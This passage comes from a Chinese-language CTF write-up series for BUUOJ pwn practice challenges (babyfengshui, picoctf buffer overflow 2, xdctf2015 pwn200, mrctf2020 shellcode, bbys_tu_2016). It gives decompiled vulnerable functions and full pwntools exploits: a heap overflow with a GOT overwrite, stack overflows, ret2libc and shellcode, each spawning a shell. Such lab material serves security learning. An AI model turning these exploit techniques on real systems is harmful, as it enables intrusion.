0x804c090: 0x0804c008 0x61616161 0x00000061 0x00000000 <=chunk(0) name
0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c100: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c110: 0x00000000 0x00000089 0x64646464 0x00000064
0x804c120: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c130: 0x00000000 0x00000000 0x00000000 0x00000000
对于chunk0来说就是0x80c008+输入长度是否大于0x804c08c。
倘若:
add(0x80,"aaaaa","bbbb")
add(0x80,"ccccc","ddddd")
add(0x80,"11111","/bin/sh\x00")
delete(0)
add(0x100,"aaaaa","bbbb")
这样的话,新申请的chunk3就会在chunk1和chunk2前面,而chunk3(name)则会在chunk1和chunk2的后面,这样就可以输入很长的数据了。
然后就是覆盖指针为free_got的地址,输出,计算system的地址。
exp:
from pwn import *
from LibcSearcher import LibcSearcher
##context(log_level='debug')
##io = process("./babyfengshui_33c3_2016")
io = remote("node4.buuoj.cn",25098)
elf = ELF("./babyfengshui_33c3_2016")
libc = ELF("./libc-2.23.so")
def add(size,length,name,payload):
io.recvuntil("Action: ")
io.sendline("0")
io.recvuntil("size of description: ")
io.sendline(str(size))
io.recvuntil("name: ")
io.sendline(name)
io.recvuntil("text length: ")
io.sendline(str(length))
io.recvuntil("text: ")
io.sendline(payload)
def delete(index):
io.recvuntil("Action: ")
io.sendline("1")
io.recvuntil("index: ")
io.sendline(str(index))
def display(index):
io.recvuntil("Action: ")
io.sendline("2")
io.recvuntil("index: ")
io.sendline(str(index))
def update(index,length,payload):
io.recvuntil("Action: ")
io.sendline("3")
io.recvuntil("index: ")
io.sendline(str(index))
io.recvuntil("text length: ")
io.sendline(str(length))
io.recvuntil("text: ")
io.sendline(payload)
add(0x80,0x80,"name","bbbb")
add(0x80,0x80,"naem","ddddd")
add(0x80,0x80,"name","/bin/sh\x00")
delete(0)
##payload='a'*0x108+"\x00"*4+"\x00\x00\x00\x89"+'a'*0x80+"\x00"*4+"\x00\x00\x00\x89"+p32(elf.got['free'])
payload = "A"*0x198 + p32(elf.got['free'])
add(0x100,0x19c,"name",payload)
display(1)
io.recvuntil("description: ")
free_addr = u32(io.recv(4))
print hex(free_addr)
base = free_addr - libc.sym['free']
sys_addr = base + libc.sym['system']
##libc=LibcSearcher("free",free_addr)
##libc_base=free_addr-libc.dump("free")
##sys_addr=libc_base+libc.dump("system")
update(1,0x4,p32(sys_addr))
delete(2)
io.interactive()
0x2C.picoctf_2018_buffer overflow 2
char *__cdecl win(int a1, int a2)
{
char *result; // eax
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]
stream = fopen("flag.txt", "r");
if ( !stream )
{
puts(
"Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
exit(0);
}
result = fgets(s, 64, stream);
if ( a1 == 0xDEADBEEF && a2 == 0xDEADC0DE )
result = (char *)printf(s);
return result;
}
跳转的win这个函数的时候两个参数需要是0xDEADBEEF 和 0xDEADC0DE
Exp:
from pwn import *
##context(log_level='debug')
##io = process("./PicoCTF_2018_buffer_overflow_2")
io = remote("node4.buuoj.cn",27708)
win_addr = 0x080485CB
payload = 'a'*(0x6c+4) +p32(win_addr)+p32(0)+p32(0xDEADBEEF)+ p32(0xDEADC0DE)
io.sendline(payload)
io.interactive()
0x2D.xdctf2015_pwn200
简单的ret2libc
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v3; // eax
char buf[112]; // [esp+0h] [ebp-7Ch] BYREF
int *v6; // [esp+70h] [ebp-Ch]
v6 = &argc;
strcpy(buf, "Welcome to XDCTF2015~!\n");
memset(&buf[24], 0, 0x4Cu);
setbuf(stdout, buf);
v3 = strlen(buf);
write(1, buf, v3);
vuln();
return 0;
}
ssize_t vuln()
{
char buf[104]; // [esp+Ch] [ebp-6Ch] BYREF
setbuf(stdin, buf);
return read(0, buf, 0x100u);
}
exp:
from pwn import *
context(log_level='debug')
io = remote("node4.buuoj.cn",27296)
##io = process("./bof")
elf = ELF("./bof")
libc = ELF("./libc-2.23.so")
vuln = 0x080484D6
payload = 'a'*(0x6c+4) + p32(elf.plt['write'])+p32(vuln)+p32(1)+p32(elf.got['write'])+p32(4)
io.sendline(payload)
io.recvuntil("\x21\x0a")
write_addr= u32(io.recv(4))
print hex(write_addr)
base = write_addr - libc.sym['write']
sys_addr = base + libc.sym['system']
bin_sh = base + libc.search('/bin/sh').next()
payload = 'a'*(0x6c+4) +p32(sys_addr)+ p32(0xdeadbeef)+p32(bin_sh)
io.sendline(payload)
io.interactive()
0x2E.mrctf2020_shellcode
不能f5
直接写shellcode就OK。
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
io = remote("node4.buuoj.cn",26222)
##io = process("mrctf2020_shellcode")
payload = asm(shellcraft.sh())
io.sendline(payload)
io.interactive()
要加:
context(arch = 'amd64', os = 'linux', log_level = 'debug')
0x2F.bbys_tu_2016
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+14h] [ebp-Ch] BYREF
puts("This program is hungry. You should feed it.");
__isoc99_scanf("%s", &v4);
puts("Do you feel the flow?");
return 0;
}
对输入没有限制,生成一些字符串。
gwt@ubuntu:~$ cyclic 50
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
pwndbg>
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
32 in isoc99_scanf.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────
EAX 0x1
EBX 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
ECX 0xa
EDX 0xf7fb887c (_IO_stdfile_0_lock) ◂— 0x1
EDI 0xf7fb7e00 (stdin) —▸ 0xf7fb75a0 (_IO_2_1_stdin_) ◂— 0xfbad2288
ESI 0xf7fb75a0 (_IO_2_1_stdin_) ◂— 0xfbad2288
EBP 0xffffd068 —▸ 0xffffd098 ◂— 0x61616166 ('faaa')<<<<<<=这里
ESP 0xffffd040 —▸ 0xf7fe77eb (_dl_fixup+11) ◂— add esi, 0x15815
EIP 0xf7e60151 (__isoc99_scanf+129) ◂— and dword ptr [esi + 0x3c], 0xffffffeb
gwt@ubuntu:~$ cyclic -l 0x61616166
20
Exp:
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
io = remote("node4.buuoj.cn",25672)
##io = process("./bbys_tu_2016")
payload = 'a'*(20+4)+ p32(0x0804856D)
io.sendline(payload)
io.interactive()